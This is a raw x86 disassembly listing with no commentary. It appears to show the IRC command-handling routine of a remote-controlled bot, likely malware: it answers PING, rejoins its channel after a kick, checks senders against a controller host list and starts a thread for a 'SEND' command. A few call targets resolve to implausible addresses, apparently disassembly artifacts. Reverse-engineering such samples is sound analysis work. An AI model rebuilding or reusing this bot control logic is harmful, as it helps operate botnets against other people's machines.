var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C2A0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BD10
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BD70
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F6C
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BD10
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDD0 ; " :"
		push	eax
		call	sub_41C080
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BD70
		mov	esi, offset asc_42CDCC ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41C864
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401B9A:				; CODE XREF: sub_401AC7+E7j
		push	esi
		push	ebx
		call	sub_41C864
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401B9A
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F6C
		cmp	[ebp+var_8C], ebx
		jz	loc_401F6C
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BE8:				; CODE XREF: sub_401AC7+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C14
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C1C
		cmp	[eax+2], bl
		jnz	short loc_401C1C
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C14:				; CODE XREF: sub_401AC7+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BE8


loc_401C1C:				; CODE XREF: sub_401AC7+12Aj
					; sub_401AC7+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C27
		mov	[ebp+var_8], edi


loc_401C27:				; CODE XREF: sub_401AC7+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C35
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C35:				; CODE XREF: sub_401AC7+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C6F
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BD70
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDC8 ; "!"
		push	eax
		call	sub_41C864
		add	esp, 20h


loc_401C6F:				; CODE XREF: sub_401AC7+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC0
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D64
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 10h
		jmp	loc_401D64
; ---------------------------------------------------------------------------


loc_401CC0:				; CODE XREF: sub_401AC7+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D6
		push	esi
		push	offset a005	; "005"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D6
		push	esi
		push	offset a302	; "302"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2B
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D64
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BD70
		add	esp, 0Ch
		jmp	short loc_401D64
; ---------------------------------------------------------------------------


loc_401D2B:				; CODE XREF: sub_401AC7+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D6B
		push	ebx
		push	dword_42909C
		push	dword_429098
		push	[ebp+arg_10]
		call	sub_40AE77
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 1Ch


loc_401D64:				; CODE XREF: sub_401AC7+1D8j
					; sub_401AC7+1F4j ...
		mov	eax, edi
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_401D6B:				; CODE XREF: sub_401AC7+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D7D:				; CODE XREF: sub_401AC7+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D9A
		mov	[ebp+var_A4], 1


loc_401D9A:				; CODE XREF: sub_401AC7+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D7D
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E91
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DC9:				; CODE XREF: sub_401AC7+38Fj
		cmp	[esi], bl
		jz	loc_401E51
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E51
		cmp	[ebp+var_84], ebx
		jz	short loc_401E51
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E51
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD5C
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		add	esp, 20h


loc_401E51:				; CODE XREF: sub_401AC7+304j
					; sub_401AC7+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DC9
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F6C
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E84:				; CODE XREF: sub_401AC7+5F3j
					; sub_401AC7+8B0j ...
		push	[ebp+arg_4]
		call	sub_40981C
		jmp	loc_404243
; ---------------------------------------------------------------------------


loc_401E91:				; CODE XREF: sub_401AC7+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FD4
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EBA:				; CODE XREF: sub_401AC7+445j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F07
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C720
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F07
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C620
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C630
		add	esp, 10h
		mov	edi, 80h


loc_401F07:				; CODE XREF: sub_401AC7+404j
					; sub_401AC7+41Bj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EBA
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F6C
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F6C
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F44
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BD70
		jmp	loc_40368F
; ---------------------------------------------------------------------------


loc_401F44:				; CODE XREF: sub_401AC7+469j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F49:				; CODE XREF: sub_401AC7+4A3j
		cmp	[edi], bl
		jz	short loc_401F60
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F74


loc_401F60:				; CODE XREF: sub_401AC7+484j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F49


loc_401F6C:				; CODE XREF: sub_401AC7+5Bj
					; sub_401AC7+F1j ...
		push	1


loc_401F6E:				; CODE XREF: sub_401AC7+2A2Ej
		pop	eax


loc_401F6F:				; CODE XREF: sub_401AC7+29Fj
					; sub_401AC7+2A50j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F74:				; CODE XREF: sub_401AC7+497j
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C720
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F6C
		push	eax
		call	sub_41B960
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B960
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F6C
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 24h
		jmp	short loc_401F6C
; ---------------------------------------------------------------------------


loc_401FD4:				; CODE XREF: sub_401AC7+3D9j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FF6
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40201D


loc_401FF6:				; CODE XREF: sub_401AC7+51Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401FFB:				; CODE XREF: sub_401AC7+554j
		cmp	[edi], bl
		jz	short loc_402011
		push	[ebp+var_90]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40205E


loc_402011:				; CODE XREF: sub_401AC7+536j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401FFB


loc_40201D:				; CODE XREF: sub_401AC7+52Dj
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020BF
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402051
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402051:				; CODE XREF: sub_401AC7+57Fj
		push	[ebp+var_80]
		push	offset unk_42CD08
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_40205E:				; CODE XREF: sub_401AC7+548j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCE8
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C7E0
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F6C
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E84
; ---------------------------------------------------------------------------


loc_4020BF:				; CODE XREF: sub_401AC7+56Aj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C7E0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402113
		push	[ebp+var_8C]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402113
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409643
		cmp	dword_429088, ebx
		jz	loc_409643


loc_402113:				; CODE XREF: sub_401AC7+612j
					; sub_401AC7+624j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402293
		push	[ebp+var_8C]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402293
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402157:				; CODE XREF: sub_401AC7+888j
					; sub_401AC7+8C4j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCCC
		mov	[ebp+arg_8], eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402529
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4023F3
		cmp	[ebp+var_A4], ebx
		jz	loc_4023CC
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C006
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_1B98]
		push	edi
		push	eax
		call	sub_41C006
		push	[ebp+esi+var_80]
		call	sub_41BEF9
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC90
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3AD
		add	esp, 44h
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416519
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	loc_4023BB


loc_40227D:				; CODE XREF: sub_401AC7+7CAj
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40227D
; ---------------------------------------------------------------------------


loc_402293:				; CODE XREF: sub_401AC7+65Cj
					; sub_401AC7+672j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022AC
		mov	[ebp+var_4], 1


loc_4022AC:				; CODE XREF: sub_401AC7+7DCj
		cmp	[ebp+var_88], ebx
		jz	loc_401F6C
		push	offset dword_42CC8C
		push	[ebp+var_88]
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022D3
		cmp	[ebp+var_4], ebx
		jz	short loc_4022DF


loc_4022D3:				; CODE XREF: sub_401AC7+805j
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022DF:				; CODE XREF: sub_401AC7+80Aj
		cmp	[ebp+var_84], ebx
		jz	loc_401F6C
		inc	[ebp+var_84]
		jz	short loc_40232B
		cmp	[ebp+arg_10], ebx
		jz	short loc_40232B
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B960
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C5E0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402331
; ---------------------------------------------------------------------------


